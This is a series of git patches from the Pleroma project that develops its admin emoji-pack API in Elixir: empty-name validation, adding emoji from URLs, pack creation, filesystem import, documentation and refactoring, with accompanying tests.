+ |> json_response(200) == %{"blank" => "blank.png"}
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack/dir_2/")
+ end
end
From 16edfef12e6781971e2056a80a0ac38dcc254b1b Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Mon, 19 Aug 2019 19:26:15 +0300
Subject: [PATCH 073/148] Handle empty
shortcode/filename/new_shortcode/new_filename
---
.../web/emoji_api/emoji_api_controller.ex | 88 +++++++++++--------
1 file changed, 52 insertions(+), 36 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index dc3dcf1ea..fdecbb700 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -298,19 +298,27 @@ def update_file(
filename
end
- file_path = Path.join(pack_dir, filename)
+ unless String.trim(shortcode) |> String.length() == 0 or
+ String.trim(filename) |> String.length() == 0 do
+ file_path = Path.join(pack_dir, filename)
- # If the name contains directories, create them
- if String.contains?(file_path, "/") do
- File.mkdir_p!(Path.dirname(file_path))
+ # If the name contains directories, create them
+ if String.contains?(file_path, "/") do
+ File.mkdir_p!(Path.dirname(file_path))
+ end
+
+ # Copy the uploaded file from the temporary directory
+ File.copy!(upload_path, file_path)
+
+ updated_full_pack = put_in(full_pack, ["files", shortcode], filename)
+
+ {:ok, updated_full_pack}
+ else
+ {:error,
+ conn
+ |> put_status(:bad_request)
+ |> text("shortcode or filename cannot be empty")}
end
-
- # Copy the uploaded file from the temporary directory
- File.copy!(upload_path, file_path)
-
- updated_full_pack = put_in(full_pack, ["files", shortcode], filename)
-
- {:ok, updated_full_pack}
else
_ -> {:error, conn |> put_status(:bad_request) |> text("\"file\" not provided")}
end
@@ -348,34 +356,42 @@ def update_file(
"update" ->
if Map.has_key?(full_pack["files"], shortcode) do
with %{"new_shortcode" => new_shortcode, "new_filename" => new_filename} <- params do
- # First, remove the old shortcode, saving the old path
- {old_emoji_file_path, updated_full_pack} = pop_in(full_pack, ["files", shortcode])
- old_emoji_file_path = Path.join(pack_dir, old_emoji_file_path)
- new_emoji_file_path = Path.join(pack_dir, new_filename)
+ unless String.trim(new_shortcode) |> String.length() == 0 or
+ String.trim(new_filename) |> String.length() == 0 do
+ # First, remove the old shortcode, saving the old path
+ {old_emoji_file_path, updated_full_pack} = pop_in(full_pack, ["files", shortcode])
+ old_emoji_file_path = Path.join(pack_dir, old_emoji_file_path)
+ new_emoji_file_path = Path.join(pack_dir, new_filename)
- # If the name contains directories, create them
- if String.contains?(new_emoji_file_path, "/") do
- File.mkdir_p!(Path.dirname(new_emoji_file_path))
- end
-
- # Move/Rename the old filename to a new filename
- # These are probably on the same filesystem, so just rename should work
- :ok = File.rename(old_emoji_file_path, new_emoji_file_path)
-
- # If the old directory has no more files, remove it
- if String.contains?(old_emoji_file_path, "/") do
- dir = Path.dirname(old_emoji_file_path)
-
- if Enum.empty?(File.ls!(dir)) do
- File.rmdir!(dir)
+ # If the name contains directories, create them
+ if String.contains?(new_emoji_file_path, "/") do
+ File.mkdir_p!(Path.dirname(new_emoji_file_path))
end
+
+ # Move/Rename the old filename to a new filename
+ # These are probably on the same filesystem, so just rename should work
+ :ok = File.rename(old_emoji_file_path, new_emoji_file_path)
+
+ # If the old directory has no more files, remove it
+ if String.contains?(old_emoji_file_path, "/") do
+ dir = Path.dirname(old_emoji_file_path)
+
+ if Enum.empty?(File.ls!(dir)) do
+ File.rmdir!(dir)
+ end
+ end
+
+ # Then, put in the new shortcode with the new path
+ updated_full_pack =
+ put_in(updated_full_pack, ["files", new_shortcode], new_filename)
+
+ {:ok, updated_full_pack}
+ else
+ {:error,
+ conn
+ |> put_status(:bad_request)
+ |> text("new_shortcode or new_filename cannot be empty")}
end
-
- # Then, put in the new shortcode with the new path
- updated_full_pack =
- put_in(updated_full_pack, ["files", new_shortcode], new_filename)
-
- {:ok, updated_full_pack}
else
_ ->
{:error,
From 8dbdd5c280d15fde4712989001d4ddee1cd37cff Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Tue, 20 Aug 2019 14:52:36 +0300
Subject: [PATCH 074/148] Allow uploading new emojis to packs from URLs
---
.../web/emoji_api/emoji_api_controller.ex | 65 ++++++++++---------
test/web/emoji_api_controller_test.exs | 34 ++++++++++
2 files changed, 69 insertions(+), 30 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index fdecbb700..87ae0e092 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -288,39 +288,44 @@ def update_file(
case action do
"add" ->
unless Map.has_key?(full_pack["files"], shortcode) do
- with %{"file" => %Plug.Upload{filename: filename, path: upload_path}} <- params do
- # If there was a file name provided with the request, use it, otherwise just use the
- # uploaded file name
- filename =
- if Map.has_key?(params, "filename") do
- params["filename"]
- else
- filename
- end
-
- unless String.trim(shortcode) |> String.length() == 0 or
- String.trim(filename) |> String.length() == 0 do
- file_path = Path.join(pack_dir, filename)
-
- # If the name contains directories, create them
- if String.contains?(file_path, "/") do
- File.mkdir_p!(Path.dirname(file_path))
- end
-
- # Copy the uploaded file from the temporary directory
- File.copy!(upload_path, file_path)
-
- updated_full_pack = put_in(full_pack, ["files", shortcode], filename)
-
- {:ok, updated_full_pack}
+ filename =
+ if Map.has_key?(params, "filename") do
+ params["filename"]
else
- {:error,
- conn
- |> put_status(:bad_request)
- |> text("shortcode or filename cannot be empty")}
+ case params["file"] do
+ %Plug.Upload{filename: filename} -> filename
+ url when is_binary(url) -> Path.basename(url)
+ end
end
+
+ unless String.trim(shortcode) |> String.length() == 0 or
+ String.trim(filename) |> String.length() == 0 do
+ file_path = Path.join(pack_dir, filename)
+
+ # If the name contains directories, create them
+ if String.contains?(file_path, "/") do
+ File.mkdir_p!(Path.dirname(file_path))
+ end
+
+ case params["file"] do
+ %Plug.Upload{path: upload_path} ->
+ # Copy the uploaded file from the temporary directory
+ File.copy!(upload_path, file_path)
+
+ url when is_binary(url) ->
+ # Download and write the file
+ file_contents = Tesla.get!(url).body
+ File.write!(file_path, file_contents)
+ end
+
+ updated_full_pack = put_in(full_pack, ["files", shortcode], filename)
+
+ {:ok, updated_full_pack}
else
- _ -> {:error, conn |> put_status(:bad_request) |> text("\"file\" not provided")}
+ {:error,
+ conn
+ |> put_status(:bad_request)
+ |> text("shortcode or filename cannot be empty")}
end
else
{:error,
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index 6d3603da5..c1aece691 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -244,6 +244,7 @@ test "updating pack files" do
on_exit(fn ->
File.write!(pack_file, original_content)
+ File.rm_rf!("#{@emoji_dir_path}/test_pack/blank_url.png")
File.rm_rf!("#{@emoji_dir_path}/test_pack/dir")
File.rm_rf!("#{@emoji_dir_path}/test_pack/dir_2")
end)
@@ -296,5 +297,38 @@ test "updating pack files" do
|> json_response(200) == %{"blank" => "blank.png"}
refute File.exists?("#{@emoji_dir_path}/test_pack/dir_2/")
+
+ mock(fn
+ %{
+ method: :get,
+ url: "https://test-blank/blank_url.png"
+ } ->
+ text(File.read!("#{@emoji_dir_path}/test_pack/blank.png"))
+ end)
+
+ # The name should be inferred from the URL ending
+ from_url = %{
+ "action" => "add",
+ "shortcode" => "blank_url",
+ "file" => "https://test-blank/blank_url.png"
+ }
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), from_url)
+ |> json_response(200) == %{
+ "blank" => "blank.png",
+ "blank_url" => "blank_url.png"
+ }
+
+ assert File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png")
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), %{
+ "action" => "remove",
+ "shortcode" => "blank_url"
+ })
+ |> json_response(200) == %{"blank" => "blank.png"}
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png")
end
end
From 6b4a144e4d9fa17db6fbda800511f7f41ae1c731 Mon Sep 17 00:00:00 2001
From: vaartis
Date: Sat, 24 Aug 2019 21:58:21 +0000
Subject: [PATCH 075/148] Remove unused yaml dependency from mix.lock
---
mix.lock | 1 -
1 file changed, 1 deletion(-)
diff --git a/mix.lock b/mix.lock
index d27041b96..24b34c09c 100644
--- a/mix.lock
+++ b/mix.lock
@@ -99,5 +99,4 @@
"unsafe": {:hex, :unsafe, "1.0.1", "a27e1874f72ee49312e0a9ec2e0b27924214a05e3ddac90e91727bc76f8613d8", [:mix], [], "hexpm"},
"web_push_encryption": {:hex, :web_push_encryption, "0.2.1", "d42cecf73420d9dc0053ba3299cc8c8d6ff2be2487d67ca2a57265868e4d9a98", [:mix], [{:httpoison, "~> 1.0", [hex: :httpoison, repo: "hexpm", optional: false]}, {:jose, "~> 1.8", [hex: :jose, repo: "hexpm", optional: false]}, {:poison, "~> 3.0", [hex: :poison, repo: "hexpm", optional: false]}], "hexpm"},
"websocket_client": {:git, "https://github.com/jeremyong/websocket_client.git", "9a6f65d05ebf2725d62fb19262b21f1805a59fbf", []},
- "yamerl": {:hex, :yamerl, "0.4.0", "ae215b1242810a9bc07716b88062f1bfe06f6bc7cf68372091f630baa536df79", [:rebar3], [], "hexpm"},
}
From f5131540dc9bbf8038e6625f4524ca01b52abbbf Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 28 Aug 2019 19:29:01 +0300
Subject: [PATCH 076/148] Add a way to create emoji packs via an endpoint
---
.../web/emoji_api/emoji_api_controller.ex | 21 ++++++++++++
lib/pleroma/web/router.ex | 1 +
test/web/emoji_api_controller_test.exs | 34 +++++++++++++++++++
3 files changed, 56 insertions(+)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 87ae0e092..0bd9cd207 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -211,6 +211,27 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
end
end
+ def create(conn, %{"name" => name}) do
+ pack_dir = Path.join(@emoji_dir_path, name)
+
+ unless File.exists?(pack_dir) do
+ File.mkdir_p!(pack_dir)
+
+ pack_file_p = Path.join(pack_dir, "pack.json")
+
+ File.write!(
+ pack_file_p,
+ Jason.encode!(%{pack: %{}, files: %{}})
+ )
+
+ conn |> text("ok")
+ else
+ conn
+ |> put_status(:conflict)
+ |> text("A pack named \"#{name}\" already exists")
+ end
+ end
+
def delete(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index acd6f740b..a21fefc70 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -220,6 +220,7 @@ defmodule Pleroma.Web.Router do
post("/update_file/:pack_name", EmojiAPIController, :update_file)
post("/update_metadata/:pack_name", EmojiAPIController, :update_metadata)
+ post("/create/:name", EmojiAPIController, :create)
delete("/delete/:name", EmojiAPIController, :delete)
post("/download_from", EmojiAPIController, :download_from)
end
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index c1aece691..fa194a26c 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -331,4 +331,38 @@ test "updating pack files" do
refute File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png")
end
+
+ test "creating and deleting a pack" do
+ on_exit(fn ->
+ File.rm_rf!("#{@emoji_dir_path}/test_created")
+ end)
+
+ admin = insert(:user, info: %{is_admin: true})
+
+ conn = build_conn() |> assign(:user, admin)
+
+ assert conn
+ |> put_req_header("content-type", "application/json")
+ |> post(
+ emoji_api_path(
+ conn,
+ :create,
+ "test_created"
+ )
+ )
+ |> text_response(200) == "ok"
+
+ assert File.exists?("#{@emoji_dir_path}/test_created/pack.json")
+
+ assert Jason.decode!(File.read!("#{@emoji_dir_path}/test_created/pack.json")) == %{
+ "pack" => %{},
+ "files" => %{}
+ }
+
+ assert conn
+ |> delete(emoji_api_path(conn, :delete, "test_created"))
+ |> response(200) == "ok"
+
+ refute File.exists?("#{@emoji_dir_path}/test_created/pack.json")
+ end
end
From 13cd93a0d314238427c217ec0ab8f59f329321f5 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Sun, 1 Sep 2019 15:38:45 +0300
Subject: [PATCH 077/148] Use && insted of "and" for checking shared-files for
packs
share-files can be nil and "and" does not like that
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 0bd9cd207..f34a4e08c 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -64,7 +64,7 @@ defp can_download?(pack, pack_path) do
# If the pack is set as shared, check if it can be downloaded
# That means that when asked, the pack can be packed and sent to the remote
# Otherwise, they'd have to download it from external-src
- pack["pack"]["share-files"] and
+ pack["pack"]["share-files"] &&
Enum.all?(pack["files"], fn {_, path} ->
File.exists?(Path.join(pack_path, path))
end)
From 9eb2ee4df0478daec1172eec2289868105b72756 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Tue, 10 Sep 2019 21:16:30 +0300
Subject: [PATCH 078/148] Allow importing old (emoji.txt / plain) packs from
the filesystem
---
.../web/emoji_api/emoji_api_controller.ex | 66 ++++++++++++++++++
lib/pleroma/web/router.ex | 2 +
.../emoji/test_pack_for_import/blank.png | Bin 0 -> 95 bytes
test/web/emoji_api_controller_test.exs | 41 +++++++++++
4 files changed, 109 insertions(+)
create mode 100644 test/instance_static/emoji/test_pack_for_import/blank.png
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index f34a4e08c..dffb91b0f 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -446,4 +446,70 @@ def update_file(
e
end
end
+
+ def import_from_fs(conn, _params) do
+ case File.ls(@emoji_dir_path) do
+ {:error, _} ->
+ conn
+ |> put_status(:internal_server_error)
+ |> text("Error accessing emoji pack directory")
+
+ {:ok, results} ->
+ imported_pack_names =
+ results
+ |> Enum.filter(fn file ->
+ dir_path = Path.join(@emoji_dir_path, file)
+ # Find the directories that do NOT have pack.json
+ File.dir?(dir_path) and not File.exists?(Path.join(dir_path, "pack.json"))
+ end)
+ |> Enum.map(fn dir ->
+ dir_path = Path.join(@emoji_dir_path, dir)
+ emoji_txt_path = Path.join(dir_path, "emoji.txt")
+
+ files_for_pack =
+ if File.exists?(emoji_txt_path) do
+ # There's an emoji.txt file, it's likely from a pack installed by the pack manager.
+ # Make a pack.json file from the contents of that emoji.txt fileh
+
+ # FIXME: Copy-pasted from Pleroma.Emoji/load_from_file_stream/2
+
+ # Create a map of shortcodes to filenames from emoji.txt
+
+ File.read!(emoji_txt_path)
+ |> String.split("\n")
+ |> Enum.map(&String.trim/1)
+ |> Enum.map(fn line ->
+ case String.split(line, ~r/,\s*/) do
+ # This matches both strings with and without tags and we don't care about tags here
+ [name, file | _] ->
+ {name, file}
+
+ _ ->
+ nil
+ end
+ end)
+ |> Enum.filter(fn x -> not is_nil(x) end)
+ |> Enum.into(%{})
+ else
+ # If there's no emoji.txt, assume all files that are of certain extensions from the config
+ # are emojis and import them all
+ Pleroma.Emoji.make_shortcode_to_file_map(
+ dir_path,
+ Pleroma.Config.get!([:emoji, :pack_extensions])
+ )
+ end
+
+ pack_json_contents = Jason.encode!(%{pack: %{}, files: files_for_pack})
+
+ File.write!(
+ Path.join(dir_path, "pack.json"),
+ pack_json_contents
+ )
+
+ dir
+ end)
+
+ conn |> json(imported_pack_names)
+ end
+ end
end
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index a21fefc70..1252048f0 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -218,6 +218,8 @@ defmodule Pleroma.Web.Router do
# Modifying packs
pipe_through([:admin_api, :oauth_write])
+ post("/import_from_fs", EmojiAPIController, :import_from_fs)
+
post("/update_file/:pack_name", EmojiAPIController, :update_file)
post("/update_metadata/:pack_name", EmojiAPIController, :update_metadata)
post("/create/:name", EmojiAPIController, :create)
diff --git a/test/instance_static/emoji/test_pack_for_import/blank.png b/test/instance_static/emoji/test_pack_for_import/blank.png
new file mode 100644
index 0000000000000000000000000000000000000000..8f50fa02340e7e09e562f86e00b6e4bd6ad1d565
GIT binary patch
literal 95
zcmeAS@N?(olHy`uVBq!ia0vp^4Is=2Bp6=1#-sr$rjj7PU
+ File.rm!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt")
+ File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json")
+ end)
+
+ conn = build_conn()
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ refute Map.has_key?(resp, "test_pack_for_import")
+
+ admin = insert(:user, info: %{is_admin: true})
+
+ assert conn
+ |> assign(:user, admin)
+ |> post(emoji_api_path(conn, :import_from_fs))
+ |> json_response(200) == ["test_pack_for_import"]
+
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+ assert resp["test_pack_for_import"]["files"] == %{"blank" => "blank.png"}
+
+ File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json")
+ refute File.exists?("#{@emoji_dir_path}/test_pack_for_import/pack.json")
+
+ emoji_txt_content = "blank, blank.png, Fun\n\nblank2, blank.png"
+
+ File.write!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt", emoji_txt_content)
+
+ assert conn
+ |> assign(:user, admin)
+ |> post(emoji_api_path(conn, :import_from_fs))
+ |> json_response(200) == ["test_pack_for_import"]
+
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ assert resp["test_pack_for_import"]["files"] == %{
+ "blank" => "blank.png",
+ "blank2" => "blank.png"
+ }
+ end
end
From 87057101b0e14eb51ff9367dfe9c5522ea933161 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Tue, 10 Sep 2019 21:34:57 +0300
Subject: [PATCH 079/148] Add documentation for the emoji api endpoints
---
.../web/emoji_api/emoji_api_controller.ex | 52 +++++++++++++++++++
1 file changed, 52 insertions(+)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index dffb91b0f..dc676b00f 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -16,6 +16,12 @@ def reload(conn, _params) do
@cache_seconds_per_file Pleroma.Config.get!([:emoji, :shared_pack_cache_seconds_per_file])
+ @doc """
+ Lists the packs available on the instance as JSON.
+
+ The information is public and does not require authentification. The format is
+ a map of "pack directory name" to pack.json contents.
+ """
def list_packs(conn, _params) do
pack_infos =
case File.ls(@emoji_dir_path) do
@@ -116,6 +122,10 @@ defp make_archive(name, pack, pack_dir) do
zip_result
end
+ @doc """
+ An endpoint for other instances (via admin UI) or users (via browser)
+ to download packs that the instance shares.
+ """
def download_shared(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
pack_file = Path.join(pack_dir, "pack.json")
@@ -143,6 +153,13 @@ def download_shared(conn, %{"name" => name}) do
end
end
+ @doc """
+ An admin endpoint to request downloading a pack named `pack_name` from the instance
+ `instance_address`.
+
+ If the requested instance's admin chose to share the pack, it will be downloaded
+ from that instance, otherwise it will be downloaded from the fallback source, if there is one.
+ """
def download_from(conn, %{"instance_address" => address, "pack_name" => name} = data) do
list_uri = "#{address}/api/pleroma/emoji/packs/list"
@@ -211,6 +228,9 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
end
end
+ @doc """
+ Creates an empty pack named `name` which then can be updated via the admin UI.
+ """
def create(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
@@ -232,6 +252,9 @@ def create(conn, %{"name" => name}) do
end
end
+ @doc """
+ Deletes the pack `name` and all it's files.
+ """
def delete(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
@@ -244,6 +267,11 @@ def delete(conn, %{"name" => name}) do
end
end
+ @doc """
+ An endpoint to update `pack_names`'s metadata.
+
+ `new_data` is the new metadata for the pack, that will replace the old metadata.
+ """
def update_metadata(conn, %{"pack_name" => name, "new_data" => new_data}) do
pack_dir = Path.join(@emoji_dir_path, name)
pack_file_p = Path.join(pack_dir, "pack.json")
@@ -296,6 +324,20 @@ def update_metadata(conn, %{"pack_name" => name, "new_data" => new_data}) do
end
end
+ @doc """
+ Updates a file in a pack.
+
+ Updating can mean three things:
+
+ - `add` adds an emoji named `shortcode` to the pack `pack_name`,
+ that means that the emoji file needs to be uploaded with the request
+ (thus requiring it to be a multipart request) and be named `file`.
+ There can also be an optional `filename` that will be the new emoji file name
+ (if it's not there, the name will be taken from the uploaded file).
+ - `update` changes emoji shortcode (from `shortcode` to `new_shortcode` or moves the file
+ (from the current filename to `new_filename`)
+ - `remove` removes the emoji named `shortcode` and it's associated file
+ """
def update_file(
conn,
%{"pack_name" => pack_name, "action" => action, "shortcode" => shortcode} = params
@@ -447,6 +489,16 @@ def update_file(
end
end
+ @doc """
+ Imports emoji from the filesystem.
+
+ Importing means checking all the directories in the
+ `$instance_static/emoji/` for directories which do not have
+ `pack.json`. If one has an emoji.txt file, that file will be used
+ to create a `pack.json` file with it's contents. If the directory has
+ neither, all the files with specific configured extenstions will be
+ assumed to be emojis and stored in the new `pack.json` file.
+ """
def import_from_fs(conn, _params) do
case File.ls(@emoji_dir_path) do
{:error, _} ->
From f6d4acc87181c94fa202ff5673f741ae9cb45b14 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Tue, 10 Sep 2019 22:09:20 +0300
Subject: [PATCH 080/148] Fix credo warnings
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index dc676b00f..cbd237519 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -532,7 +532,8 @@ def import_from_fs(conn, _params) do
|> Enum.map(&String.trim/1)
|> Enum.map(fn line ->
case String.split(line, ~r/,\s*/) do
- # This matches both strings with and without tags and we don't care about tags here
+ # This matches both strings with and without tags
+ # and we don't care about tags here
[name, file | _] ->
{name, file}
@@ -543,8 +544,8 @@ def import_from_fs(conn, _params) do
|> Enum.filter(fn x -> not is_nil(x) end)
|> Enum.into(%{})
else
- # If there's no emoji.txt, assume all files that are of certain extensions from the config
- # are emojis and import them all
+ # If there's no emoji.txt, assume all files
+ # that are of certain extensions from the config are emojis and import them all
Pleroma.Emoji.make_shortcode_to_file_map(
dir_path,
Pleroma.Config.get!([:emoji, :pack_extensions])
From 163082de6f789044b4fcb0c69f5b4cfd89731903 Mon Sep 17 00:00:00 2001
From: vaartis
Date: Wed, 11 Sep 2019 09:07:19 +0000
Subject: [PATCH 081/148] Apply suggestion to
lib/pleroma/web/emoji_api/emoji_api_controller.ex
---
.../web/emoji_api/emoji_api_controller.ex | 20 ++++++-------------
1 file changed, 6 insertions(+), 14 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index cbd237519..499802fa5 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -104,22 +104,14 @@ defp make_archive(name, pack, pack_dir) do
# Having a different pack.json md5 invalidates cache
pack_file_md5 = :crypto.hash(:md5, File.read!(Path.join(pack_dir, "pack.json")))
- maybe_cached_pack = Cachex.get!(:emoji_packs_cache, name)
+ case Cachex.get!(:emoji_packs_cache, name) do
+ %{pack_file_md5: ^pack_file_md5, pack_data: zip_result} ->
+ Logger.debug("Using cache for the '#{name}' shared emoji pack")
+ zip_result
- zip_result =
- if is_nil(maybe_cached_pack) do
+ _ ->
create_archive_and_cache(name, pack, pack_dir, pack_file_md5)
- else
- if maybe_cached_pack[:pack_file_md5] == pack_file_md5 do
- Logger.debug("Using cache for the '#{name}' shared emoji pack")
-
- maybe_cached_pack[:pack_data]
- else
- create_archive_and_cache(name, pack, pack_dir, pack_file_md5)
- end
- end
-
- zip_result
+ end
end
@doc """
From c049c32270b8f70ae679e739730a3f63cdbd7d95 Mon Sep 17 00:00:00 2001
From: vaartis
Date: Wed, 11 Sep 2019 09:12:22 +0000
Subject: [PATCH 082/148] Fixed a typo in create_archive_and_cache
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 499802fa5..51620a3eb 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -94,7 +94,7 @@ defp create_archive_and_cache(name, pack, pack_dir, md5) do
ttl: cache_ms
)
- Logger.debug("Create an archive for the '#{name}' emoji pack, \
+ Logger.debug("Created an archive for the '#{name}' emoji pack, \
keeping it in cache for #{div(cache_ms, 1000)}s")
zip_result
From f251225caeede08869b472886337afea0cd47d51 Mon Sep 17 00:00:00 2001
From: vaartis
Date: Wed, 11 Sep 2019 15:32:54 +0000
Subject: [PATCH 083/148] Apply suggestions to emoji_api_controller.ex
---
.../web/emoji_api/emoji_api_controller.ex | 201 +++++++++---------
1 file changed, 95 insertions(+), 106 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 51620a3eb..0c3da6740 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -153,31 +153,32 @@ def download_shared(conn, %{"name" => name}) do
from that instance, otherwise it will be downloaded from the fallback source, if there is one.
"""
def download_from(conn, %{"instance_address" => address, "pack_name" => name} = data) do
- list_uri = "#{address}/api/pleroma/emoji/packs/list"
-
- list = Tesla.get!(list_uri).body |> Jason.decode!()
- full_pack = list[name]
+ full_pack =
+ "#{address}/api/pleroma/emoji/packs/list"
+ |> Tesla.get!()
+ |> Map.get(:body)
+ |> Jason.decode!()
+ |> Map.get(name)
pfiles = full_pack["files"]
- pack = full_pack["pack"]
pack_info_res =
- cond do
- pack["share-files"] && pack["can-download"] ->
+ case full_pack["pack"] do
+ %{"share-files" => true, "can-download" => true, "download-sha256" => sha} ->
{:ok,
%{
- sha: pack["download-sha256"],
+ sha: sha,
uri: "#{address}/api/pleroma/emoji/packs/download_shared/#{name}"
}}
- pack["fallback-src"] ->
+ %{"fallback-src" => src, "fallback-src-sha256" => sha} when is_binary(src) ->
{:ok,
%{
- sha: pack["fallback-src-sha256"],
- uri: pack["fallback-src"],
+ sha: sha,
+ uri: src,
fallback: true
}}
- true ->
+ _ ->
{:error, "The pack was not set as shared and there is no fallback src to download from"}
end
@@ -194,9 +195,9 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
File.mkdir_p!(pack_dir)
# Fallback cannot contain a pack.json file
- files =
- unless(pinfo[:fallback], do: ['pack.json'], else: []) ++
- (pfiles |> Enum.map(fn {_, path} -> to_charlist(path) end))
+ files = Enum.map(full_pack["files"], fn {_, path} -> to_charlist(path) end)
+ # Fallback cannot contain a pack.json file
+ files = if pinfo[:fallback], do: files, else: ['pack.json'] ++ files
{:ok, _} = :zip.unzip(emoji_archive, cwd: to_charlist(pack_dir), file_list: files)
@@ -226,7 +227,7 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
def create(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
- unless File.exists?(pack_dir) do
+ if not File.exists?(pack_dir) do
File.mkdir_p!(pack_dir)
pack_file_p = Path.join(pack_dir, "pack.json")
@@ -265,8 +266,7 @@ def delete(conn, %{"name" => name}) do
`new_data` is the new metadata for the pack, that will replace the old metadata.
"""
def update_metadata(conn, %{"pack_name" => name, "new_data" => new_data}) do
- pack_dir = Path.join(@emoji_dir_path, name)
- pack_file_p = Path.join(pack_dir, "pack.json")
+ pack_file_p = Path.join([@emoji_dir_path, name, "pack.json"])
full_pack = Jason.decode!(File.read!(pack_file_p))
@@ -275,47 +275,42 @@ def update_metadata(conn, %{"pack_name" => name, "new_data" => new_data}) do
not is_nil(new_data["fallback-src"]) and
new_data["fallback-src"] != full_pack["pack"]["fallback-src"]
- new_data =
- if should_update_fb_sha do
- pack_arch = Tesla.get!(new_data["fallback-src"]).body
+ with {_, true} <- {:should_update?, should_update_fb_sha},
+ %{body: pack_arch} <- Tesla.get!(new_data["fallback-src"]),
+ {:ok, flist} <- :zip.unzip(pack_arch, [:memory]),
+ {_, true} <- {:has_all_files?, has_all_files?(full_pack, flist)} do
+ fallback_sha = :crypto.hash(:sha256, pack_arch) |> Base.encode16()
